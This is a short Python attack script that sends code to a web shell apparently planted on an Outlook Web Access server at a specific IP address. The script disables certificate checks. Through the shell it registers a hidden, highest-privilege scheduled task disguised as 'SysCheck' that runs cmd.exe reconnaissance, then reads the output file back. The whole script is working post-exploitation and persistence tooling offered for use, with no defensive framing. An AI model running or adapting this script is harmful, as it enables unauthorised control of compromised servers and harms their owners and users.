#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=50)
        return r.text.split('!BD')[0][:700]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:120]}"

reg = r'''
try{
 var svc=new ActiveXObject("Schedule.Service"); svc.Connect();
 var root=svc.GetFolder("\\");
 var td=svc.NewTask(0);
 td.RegistrationInfo.Description="syscheck";
 var a=td.Actions.Create(0);
 a.Path="C:\\Windows\\System32\\cmd.exe";
 a.Arguments="/c whoami & hostname & ver > C:\\Windows\\Temp\\o3.txt 2>&1";
 var tr=td.Triggers.Create(9);
 tr.StartBoundary="2020-01-01T00:00:00";
 td.Settings.Enabled=true; td.Settings.Hidden=true; td.Settings.ExecutionTimeLimit="PT5M";
 td.Principal.RunLevel=1;
 var t=root.RegisterTaskDefinition("SysCheck",td,6,null,null,5,0);
 Response.Write("REG_OK:"+t.Name+"|");
 try{ var run=t.Run(""); Response.Write("RUN_OK"); }catch(e){ Response.Write("RUN_ERR:"+e.message); }
}catch(e){ Response.Write("EXR:"+e.message+"|"+e.description+"|"+e.number); }
'''
print("[task reg+run]", repr(ev(reg)), flush=True)

rd = 'Response.Write("OUT:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o3.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o3.txt"):"none"));'
print("[read out]     ", repr(ev(rd)), flush=True)